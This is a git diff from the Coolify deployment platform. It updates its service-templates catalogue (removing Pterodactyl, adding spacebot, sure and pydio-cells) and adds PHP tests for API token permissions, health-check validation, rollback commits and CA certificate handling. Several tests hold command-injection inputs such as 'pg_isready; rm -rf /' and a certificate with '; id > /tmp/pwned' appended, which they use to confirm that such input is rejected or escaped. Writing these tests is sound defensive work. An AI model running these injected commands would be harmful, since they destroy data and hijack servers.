jdHlsLycKICAgICAgLSAnL3RtcC9wdGVyb2RhY3R5bC86L3RtcC9wdGVyb2RhY3R5bC8nCiAgICAgIC0gJ3dpbmdzLWxvZ3M6L3Zhci9sb2cvcHRlcm9kYWN0eWwvJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9ldGMvY29uZmlnLnltbAogICAgICAgIHRhcmdldDogL2V0Yy9wdGVyb2RhY3R5bC9jb25maWcueW1sCiAgICAgICAgY29udGVudDogImRlYnVnOiBmYWxzZVxudXVpZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjOWFiYzgtYWJjNy1hYmM2LWFiYzUtYWJjNGFiYzNhYmMyXG50b2tlbl9pZDogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogYWJjMWFiYzJhYmMzYWJjNFxudG9rZW46IFJFUExBQ0UgRlJPTSBDT05GSUcgICNleGFtcGxlOiBhYmMxYWJjMmFiYzNhYmM0YWJjNWFiYzZhYmM3YWJjOGFiYzlhYmMxMGFiYzExYWJjMTJhYmMxM2FiYzE0YWJjMTVhYmMxNlxuYXBpOlxuICBob3N0OiAwLjAuMC4wXG4gIHBvcnQ6IDg0NDMgIyB1c2UgcG9ydCA0NDMgSU4gVEhFIFBBTkVMIGR1cmluZyBub2RlIHNldHVwXG4gIHNzbDpcbiAgICBlbmFibGVkOiBmYWxzZVxuICAgIGNlcnQ6IFJFUExBQ0UgRlJPTSBDT05GSUcgI2V4YW1wbGU6IC9ldGMvbGV0c2VuY3J5cHQvbGl2ZS93aW5ncy1hYmNhYmNhYmNhYmNhYmMuZXhhbXBsZS5jb20vZnVsbGNoYWluLnBlbVxuICAgIGtleTogUkVQTEFDRSBGUk9NIENPTkZJRyAjZXhhbXBsZTogL2V0Yy9sZXRzZW5jcnlwdC9saXZlL3dpbmdzLWFiY2FiY2FiY2FiY2FiYy5leGFtcGxlLmNvbS9wcml2a2V5LnBlbVxuICBkaXNhYmxlX3JlbW90ZV9kb3dubG9hZDogZmFsc2VcbiAgdXBsb2FkX2xpbWl0OiAxMDBcbiAgdHJ1c3RlZF9wcm94aWVzOiBbXVxuc3lzdGVtOlxuICByb290X2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWxcbiAgbG9nX2RpcmVjdG9yeTogL3Zhci9sb2cvcHRlcm9kYWN0eWxcbiAgZGF0YTogL3Zhci9saWIvcHRlcm9kYWN0eWwvdm9sdW1lc1xuICBhcmNoaXZlX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYXJjaGl2ZXNcbiAgYmFja3VwX2RpcmVjdG9yeTogL3Zhci9saWIvcHRlcm9kYWN0eWwvYmFja3Vwc1xuICB0bXBfZGlyZWN0b3J5OiAvdG1wL3B0ZXJvZGFjdHlsXG4gIHVzZXJuYW1lOiBwdGVyb2RhY3R5bFxuICB0aW1lem9uZTogVVRDXG4gIHVzZXI6XG4gICAgcm9vdGxlc3M6XG4gICAgICBlbmFibGVkOiBmYWxzZVxuICAgICAgY29udGFpbmVyX3VpZDogMFxuICAgICAgY29udGFpbmVyX2dpZDogMFxuICAgIHVpZDogOTg4XG4gICAgZ2lkOiA5ODhcbiAgZGlza19jaGVja19pbnRlcnZhbDogMTUwXG4gIGFjdGl2aXR5X3NlbmRfaW50ZXJ2YWw6IDYwXG4gIGFjdGl2aXR5X3NlbmRfY291bnQ6IDEwMFxuICBjaGVja19wZXJtaXNzaW9uc19vbl9ib290OiB0cnVlXG4gIGVuYWJsZV9sb2dfcm90YXRlOiB0cnVlXG4gIHdlYnNvY2tldF9sb2dfY291bnQ6IDE1MFxuICBzZnRwOlxuICAgIGJpbmRfYWRkcmVzczogMC4wLjAuMFxuICAgIGJpbmRfcG9ydDogMjAyMlxuICAgIHJlYWRfb25seTogZmFsc2VcbiAgY3Jhc2hfZGV0ZWN0aW9uOlxuICAgIGVuYWJsZWQ6IHRydWVcbiAgICBkZXRlY3RfY2xlYW5fZXhpdF9hc19jcmFzaDogdHJ1ZVxuICAgIHRpbWVvdXQ6IDYwXG4gIGJhY2t1cHM6XG4gICAgd3JpdGVfbGltaXQ6IDBcbiAgICBjb21wcmVzc2lvbl9sZXZlbDogYmVzdF9zcGVlZFxuICB0cmFuc2ZlcnM6XG4gICAgZG93bmxvYWRfbGltaXQ6IDBcbiAgb3BlbmF0X21vZGU6IGF1dG9cbmRvY2tlcjpcbiAgbmV0d29yazpcbiAgICBpbnRlcmZhY2U6IDE3Mi4yOC4wLjFcbiAgICBkbnM6XG4gICAgICAtIDEuMS4xLjFcbiAgICAgIC0gMS4wLjAuMVxuICAgIG5hbWU6IHB0ZXJvZGFjdHlsX253XG4gICAgaXNwbjogZmFsc2VcbiAgICBkcml2ZXI6IGJyaWRnZVxuICAgIG5ldHdvcmtfbW9kZTogcHRlcm9kYWN0eWxfbndcbiAgICBpc19pbnRlcm5hbDogZmFsc2VcbiAgICBlbmFibGVfaWNjOiB0cnVlXG4gICAgbmV0d29ya19tdHU6IDE1MDBcbiAgICBpbnRlcmZhY2VzOlxuICAgICAgdjQ6XG4gICAgICAgIHN1Ym5ldDogMTcyLjI4LjAuMC8xNlxuICAgICAgICBnYXRld2F5OiAxNzIuMjguMC4xXG4gICAgICB2NjpcbiAgICAgICAgc3VibmV0OiBmZGJhOjE3Yzg6NmM5NDo6LzY0XG4gICAgICAgIGdhdGV3YXk6IGZkYmE6MTdjODo2Yzk0OjoxMDExXG4gIGRvbWFpbm5hbWU6IFwiXCJcbiAgcmVnaXN0cmllczoge31cbiAgdG1wZnNfc2l6ZTogMTAwXG4gIGNvbnRhaW5lcl9waWRfbGltaXQ6IDUxMlxuICBpbnN0YWxsZXJfbGltaXRzOlxuICAgIG1lbW9yeTogMTAyNFxuICAgIGNwdTogMTAwXG4gIG92ZXJoZWFkOlxuICAgIG92ZXJyaWRlOiBmYWxzZVxuICAgIGRlZmF1bHRfbXVsdGlwbGllcjogMS4wNVxuICAgIG11bHRpcGxpZXJzOiB7fVxuICB1c2VfcGVyZm9ybWFudF9pbnNwZWN0OiB0cnVlXG4gIHVzZXJuc19tb2RlOiBcIlwiXG4gIGxvZ19jb25maWc6XG4gICAgdHlwZTogbG9jYWxcbiAgICBjb25maWc6XG4gICAgICBjb21wcmVzczogXCJmYWxzZVwiXG4gICAgICBtYXgtZmlsZTogXCIxXCJcbiAgICAgIG1heC1zaXplOiA1bVxuICAgICAgbW9kZTogbm9uLWJsb2NraW5nXG50aHJvdHRsZXM6XG4gIGVuYWJsZWQ6IHRydWVcbiAgbGluZXM6IDIwMDBcbiAgbGluZV9yZXNldF9pbnRlcnZhbDogMTAwXG5yZW1vdGU6IGh0dHA6Ly9wdGVyb2RhY3R5bDo4MFxucmVtb3RlX3F1ZXJ5OlxuICB0aW1lb3V0OiAzMFxuICBib290X3NlcnZlcnNfcGVyX3BhZ2U6IDUwXG5hbGxvd2VkX21vdW50czogW11cbmFsbG93ZWRfb3JpZ2luczpcbiAgLSBodHRwOi8vcHRlcm9kYWN0eWw6ODBcbiAgLSBQQU5FTCBET01BSU4gIyBleGFtcGxlOiBodHRwczovL3B0ZXJvZGFjdHlsLWFiY2FiY2FiY2FiY2F2Yy5leGFtcGxlLmNvbVxuYWxsb3dfY29yc19wcml2YXRlX25ldHdvcms6IGZhbHNlXG5pZ25vcmVfcGFuZWxfY29uZmlnX3VwZGF0ZXM6IGZhbHNlIgo=",
- "tags": [
- "game",
- "game server",
- "management",
- "panel",
- "minecraft"
- ],
- "category": "media",
- "logo": "svgs/pterodactyl.png",
- "minversion": "0.0.0",
- "port": "80, 8443"
- },
"qbittorrent": {
"documentation": "https://docs.linuxserver.io/images/docker-qbittorrent/?utm_source=coolify.io",
"slogan": "The qBittorrent project aims to provide an open-source software alternative to \u03bcTorrent.",
@@ -4404,6 +4316,25 @@
"minversion": "0.0.0",
"port": "8989"
},
+ "spacebot": {
+ "documentation": "https://docs.spacebot.sh/docker?utm_source=coolify.io",
+ "slogan": "An agentic AI system with specialized processes for thinking, working, and remembering.",
+ "compose": "c2VydmljZXM6CiAgc3BhY2Vib3Q6CiAgICBpbWFnZTogJ2doY3IuaW8vc3BhY2Vkcml2ZWFwcC9zcGFjZWJvdDpmdWxsJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1NQQUNFQk9UXzE5ODk4CiAgICAgIC0gJ0FOVEhST1BJQ19BUElfS0VZPSR7QU5USFJPUElDX0FQSV9LRVl9JwogICAgICAtICdPUEVOQUlfQVBJX0tFWT0ke09QRU5BSV9BUElfS0VZfScKICAgICAgLSAnT1BFTlJPVVRFUl9BUElfS0VZPSR7T1BFTlJPVVRFUl9BUElfS0VZfScKICAgICAgLSAnRElTQ09SRF9CT1RfVE9LRU49JHtESVNDT1JEX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0JPVF9UT0tFTj0ke1NMQUNLX0JPVF9UT0tFTn0nCiAgICAgIC0gJ1NMQUNLX0FQUF9UT0tFTj0ke1NMQUNLX0FQUF9UT0tFTn0nCiAgICAgIC0gJ0JSQVZFX1NFQVJDSF9BUElfS0VZPSR7QlJBVkVfU0VBUkNIX0FQSV9LRVl9JwogICAgICAtICdTUEFDRUJPVF9DSEFOTkVMX01PREVMPSR7U1BBQ0VCT1RfQ0hBTk5FTF9NT0RFTH0nCiAgICAgIC0gJ1NQQUNFQk9UX1dPUktFUl9NT0RFTD0ke1NQQUNFQk9UX1dPUktFUl9NT0RFTH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzcGFjZWJvdC1kYXRhOi9kYXRhJwogICAgc2VjdXJpdHlfb3B0OgogICAgICAtIHNlY2NvbXA9dW5jb25maW5lZAogICAgc2htX3NpemU6IDFnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1zZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjE5ODk4L2FwaS9oZWFsdGgnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwo=",
+ "tags": [
+ "ai",
+ "agent",
+ "anthropic",
+ "openai",
+ "discord",
+ "slack",
+ "llm",
+ "agentic"
+ ],
+ "category": "ai",
+ "logo": "svgs/spacebot.png",
+ "minversion": "0.0.0",
+ "port": "19898"
+ },
"sparkyfitness": {
"documentation": "https://codewithcj.github.io/SparkyFitness/?utm_source=coolify.io",
"slogan": "SparkyFitness is a comprehensive fitness tracking and management application designed to help users monitor their nutrition, exercise, and body measurements. It provides tools for daily progress tracking, goal setting, and insightful reports to support a healthy lifestyle.",
@@ -4548,6 +4479,22 @@
"minversion": "0.0.0",
"port": "3567"
},
+ "sure": {
+ "documentation": "https://github.com/we-promise/sure?utm_source=coolify.io",
+ "slogan": "An all-in-one personal finance platform.",
+ "compose": "c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6ICdnaGNyLmlvL3dlLXByb21pc2Uvc3VyZTowLjYuNycKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9TVVJFXzMwMDAKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgdmFsa2V5OgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLWFwcC1zdG9yYWdlOi9yYWlscy9zdG9yYWdlJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICB3b3JrZXI6CiAgICBpbWFnZTogJ2doY3IuaW8vd2UtcHJvbWlzZS9zdXJlOjAuNi43JwogICAgY29tbWFuZDogJ2J1bmRsZSBleGVjIHNpZGVraXEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBBUFBfRE9NQUlOPSRTRVJWSUNFX0ZRRE5fU1VSRQogICAgICAtIFNFQ1JFVF9LRVlfQkFTRT0kU0VSVklDRV9CQVNFNjRfQkFTRQogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNRTH0nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNRTF9EQVRBQkFTRTotc3VyZX0nCiAgICAgIC0gJ1JFRElTX1VSTD1yZWRpczovL3ZhbGtleTo2Mzc5JwogICAgICAtIERCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPUlQ9NTQzMgogICAgICAtIFNFTEZfSE9TVEVEPXRydWUKICAgICAgLSBSQUlMU19GT1JDRV9TU0w9ZmFsc2UKICAgICAgLSBSQUlMU19BU1NVTUVfU1NMPWZhbHNlCiAgICAgIC0gJ09OQk9BUkRJTkdfU1RBVEU9JHtPTkJPQVJESU5HX1NUQVRFOi1vcGVufScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3N1cmUtYXBwLXN0b3JhZ2U6L3JhaWxzL3N0b3JhZ2UnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3Jlc3FsOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHZhbGtleToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAnCiAgICAgIGludGVydmFsOiAxNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDUKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXBvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU1FMfScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTUUx9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTUUxfREFUQUJBU0U6LXN1cmV9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHZhbGtleToKICAgIGltYWdlOiAndmFsa2V5L3ZhbGtleTo4LWFscGluZScKICAgIGNvbW1hbmQ6ICd2YWxrZXktc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICB2b2x1bWVzOgogICAgICAtICdzdXJlLXZhbGtleTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAndmFsa2V5LWNsaSBwaW5nIHwgZ3JlcCBQT05HJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogNQogICAgICBzdGFydF9wZXJpb2Q6IDNzCg==",
+ "tags": [
+ "budgeting",
+ "budget",
+ "money",
+ "expenses",
+ "income"
+ ],
+ "category": "finance",
+ "logo": "svgs/sure.png",
+ "minversion": "0.0.0",
+ "port": "3000"
+ },
"swetrix": {
"documentation": "https://docs.swetrix.com/selfhosting/how-to?utm_source=coolify.io",
"slogan": "Privacy-friendly and cookieless European web analytics alternative to Google Analytics.",
@@ -5284,5 +5231,17 @@
"logo": "svgs/marimo.svg",
"minversion": "0.0.0",
"port": "8080"
+ },
+ "pydio-cells": {
+ "documentation": "https://docs.pydio.com/?utm_source=coolify.io",
+ "slogan": "High-performance large file sharing, native no-code automation, and a collaboration-centric architecture that simplifies access control without compromising security or compliance.",
+ "compose": "c2VydmljZXM6CiAgY2VsbHM6CiAgICBpbWFnZTogJ3B5ZGlvL2NlbGxzOjQuNCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9DRUxMU184MDgwCiAgICAgIC0gJ0NFTExTX1NJVEVfRVhURVJOQUw9JHtTRVJWSUNFX0ZRRE5fQ0VMTFN9JwogICAgICAtIENFTExTX1NJVEVfTk9fVExTPTEKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2NlbGxzX2RhdGE6L3Zhci9jZWxscycKICBtYXJpYWRiOgogICAgaW1hZ2U6ICdtYXJpYWRiOjExJwogICAgdm9sdW1lczoKICAgICAgLSAnbXlzcWxfZGF0YTovdmFyL2xpYi9teXNxbCcKICAgIGVudmlyb25tZW50OgogICAgICAtICdNWVNRTF9ST09UX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9NWVNRTFJPT1R9JwogICAgICAtICdNWVNRTF9EQVRBQkFTRT0ke01ZU1FMX0RBVEFCQVNFOi1jZWxsc30nCiAgICAgIC0gJ01ZU1FMX1VTRVI9JHtTRVJWSUNFX1VTRVJfTVlTUUx9JwogICAgICAtICdNWVNRTF9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTVlTUUx9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGhlYWx0aGNoZWNrLnNoCiAgICAgICAgLSAnLS1jb25uZWN0JwogICAgICAgIC0gJy0taW5ub2RiX2luaXRpYWxpemVkJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiA1Cg==",
+ "tags": [
+ "storage"
+ ],
+ "category": null,
+ "logo": "svgs/cells.svg",
+ "minversion": "0.0.0",
+ "port": "8080"
}
}
diff --git a/tests/Browser/screenshots/.gitignore b/tests/Browser/screenshots/.gitignore
deleted file mode 100644
index d6b7ef32c..000000000
--- a/tests/Browser/screenshots/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-*
-!.gitignore
diff --git a/tests/Feature/ApiTokenPermissionTest.php b/tests/Feature/ApiTokenPermissionTest.php
new file mode 100644
index 000000000..44efb7e06
--- /dev/null
+++ b/tests/Feature/ApiTokenPermissionTest.php
@@ -0,0 +1,75 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+});
+
+describe('POST /api/v1/projects', function () {
+ test('read-only token cannot create a project', function () {
+ $token = $this->user->createToken('read-only', ['read']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(403);
+ });
+
+ test('write token can create a project', function () {
+ $token = $this->user->createToken('write-token', ['write']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid']);
+ });
+
+ test('root token can create a project', function () {
+ $token = $this->user->createToken('root-token', ['root']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/projects', [
+ 'name' => 'Test Project',
+ ]);
+
+ $response->assertStatus(201);
+ $response->assertJsonStructure(['uuid']);
+ });
+});
+
+describe('POST /api/v1/servers', function () {
+ test('read-only token cannot create a server', function () {
+ $token = $this->user->createToken('read-only', ['read']);
+
+ $response = $this->withHeaders([
+ 'Authorization' => 'Bearer '.$token->plainTextToken,
+ 'Content-Type' => 'application/json',
+ ])->postJson('/api/v1/servers', [
+ 'name' => 'Test Server',
+ 'ip' => '1.2.3.4',
+ 'private_key_uuid' => 'fake-uuid',
+ ]);
+
+ $response->assertStatus(403);
+ });
+});
diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php
new file mode 100644
index 000000000..8ccb7c639
--- /dev/null
+++ b/tests/Feature/ApplicationHealthCheckApiTest.php
@@ -0,0 +1,120 @@
+team = Team::factory()->create();
+ $this->user = User::factory()->create();
+ $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+ session(['currentTeam' => $this->team]);
+
+ $this->token = $this->user->createToken('test-token', ['*']);
+ $this->bearerToken = $this->token->plainTextToken;
+
+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);
+
+ StandaloneDocker::withoutEvents(function () {
+ $this->destination = StandaloneDocker::firstOrCreate(
+ ['server_id' => $this->server->id, 'network' => 'coolify'],
+ ['uuid' => (string) new Cuid2, 'name' => 'test-docker']
+ );
+ });
+
+ $this->project = Project::create([
+ 'uuid' => (string) new Cuid2,
+ 'name' => 'test-project',
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Project boot event auto-creates a 'production' environment
+ $this->environment = $this->project->environments()->first();
+
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ 'destination_id' => $this->destination->id,
+ 'destination_type' => $this->destination->getMorphClass(),
+ ]);
+});
+
+function healthCheckAuthHeaders($bearerToken): array
+{
+ return [
+ 'Authorization' => 'Bearer '.$bearerToken,
+ 'Content-Type' => 'application/json',
+ ];
+}
+
+describe('PATCH /api/v1/applications/{uuid} health check fields', function () {
+ test('can update health_check_type to cmd with a command', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready -U postgres',
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('cmd');
+ expect($this->application->health_check_command)->toBe('pg_isready -U postgres');
+ });
+
+ test('can update health_check_type back to http', function () {
+ $this->application->update([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'redis-cli ping',
+ ]);
+
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'http',
+ 'health_check_command' => null,
+ ]);
+
+ $response->assertOk();
+
+ $this->application->refresh();
+ expect($this->application->health_check_type)->toBe('http');
+ expect($this->application->health_check_command)->toBeNull();
+ });
+
+ test('rejects invalid health_check_type', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'exec',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command with shell operators', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'pg_isready; rm -rf /',
+ ]);
+
+ $response->assertStatus(422);
+ });
+
+ test('rejects health_check_command over 1000 characters', function () {
+ $response = $this->withHeaders(healthCheckAuthHeaders($this->bearerToken))
+ ->patchJson("/api/v1/applications/{$this->application->uuid}", [
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => str_repeat('a', 1001),
+ ]);
+
+ $response->assertStatus(422);
+ });
+});
diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php
new file mode 100644
index 000000000..f62ad6650
--- /dev/null
+++ b/tests/Feature/ApplicationRollbackTest.php
@@ -0,0 +1,88 @@
+application = new Application;
+ $this->application->forceFill([
+ 'uuid' => 'test-app-uuid',
+ 'git_commit_sha' => 'HEAD',
+ ]);
+
+ $settings = new ApplicationSetting;
+ $settings->is_git_shallow_clone_enabled = false;
+ $settings->is_git_submodules_enabled = false;
+ $settings->is_git_lfs_enabled = false;
+ $this->application->setRelation('settings', $settings);
+ });
+
+ test('setGitImportSettings uses passed commit instead of application git_commit_sha', function () {
+ $rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ commit: $rollbackCommit
+ );
+
+ expect($result)->toContain($rollbackCommit);
+ });
+
+ test('setGitImportSettings with shallow clone fetches specific commit', function () {
+ $this->application->settings->is_git_shallow_clone_enabled = true;
+
+ $rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ commit: $rollbackCommit
+ );
+
+ expect($result)
+ ->toContain('git fetch --depth=1 origin')
+ ->toContain($rollbackCommit);
+ });
+
+ test('setGitImportSettings falls back to git_commit_sha when no commit passed', function () {
+ $this->application->git_commit_sha = 'def789abc012def789abc012def789abc012def7';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ );
+
+ expect($result)->toContain('def789abc012def789abc012def789abc012def7');
+ });
+
+ test('setGitImportSettings escapes shell metacharacters in commit parameter', function () {
+ $maliciousCommit = 'abc123; rm -rf /';
+
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ commit: $maliciousCommit
+ );
+
+ // escapeshellarg wraps the value in single quotes, neutralizing metacharacters
+ expect($result)
+ ->toContain("checkout 'abc123; rm -rf /'")
+ ->not->toContain('checkout abc123; rm -rf /');
+ });
+
+ test('setGitImportSettings does not append checkout when commit is HEAD', function () {
+ $result = $this->application->setGitImportSettings(
+ deployment_uuid: 'test-uuid',
+ git_clone_command: 'git clone',
+ public: true,
+ );
+
+ expect($result)->not->toContain('advice.detachedHead=false checkout');
+ });
+});
diff --git a/tests/Feature/CaCertificateCommandInjectionTest.php b/tests/Feature/CaCertificateCommandInjectionTest.php
new file mode 100644
index 000000000..fffa28d6a
--- /dev/null
+++ b/tests/Feature/CaCertificateCommandInjectionTest.php
@@ -0,0 +1,93 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team, ['role' => 'owner']);
+ $this->actingAs($this->user);
+ session(['currentTeam' => $this->team]);
+
+ $this->server = Server::factory()->create([
+ 'team_id' => $this->team->id,
+ ]);
+});
+
+function generateSelfSignedCert(): string
+{
+ $key = openssl_pkey_new(['private_key_bits' => 2048]);
+ $csr = openssl_csr_new(['CN' => 'Test CA'], $key);
+ $cert = openssl_csr_sign($csr, null, $key, 365);
+ openssl_x509_export($cert, $certPem);
+
+ return $certPem;
+}
+
+test('saveCaCertificate sanitizes injected commands after certificate marker', function () {
+ $validCert = generateSelfSignedCert();
+
+ $caCert = SslCertificate::create([
+ 'server_id' => $this->server->id,
+ 'is_ca_certificate' => true,
+ 'ssl_certificate' => $validCert,
+ 'ssl_private_key' => 'test-key',
+ 'common_name' => 'Coolify CA Certificate',
+ 'valid_until' => now()->addYears(10),
+ ]);
+
+ // Inject shell command after valid certificate
+ $maliciousContent = $validCert."' ; id > /tmp/pwned ; echo '";
+
+ Livewire::test(Show::class, ['server_uuid' => $this->server->uuid])
+ ->set('certificateContent', $maliciousContent)
+ ->call('saveCaCertificate')
+ ->assertDispatched('success');
+
+ // After save, the certificate should be the clean re-exported PEM, not the malicious input
+ $caCert->refresh();
+ expect($caCert->ssl_certificate)->not->toContain('/tmp/pwned');
+ expect($caCert->ssl_certificate)->not->toContain('; id');
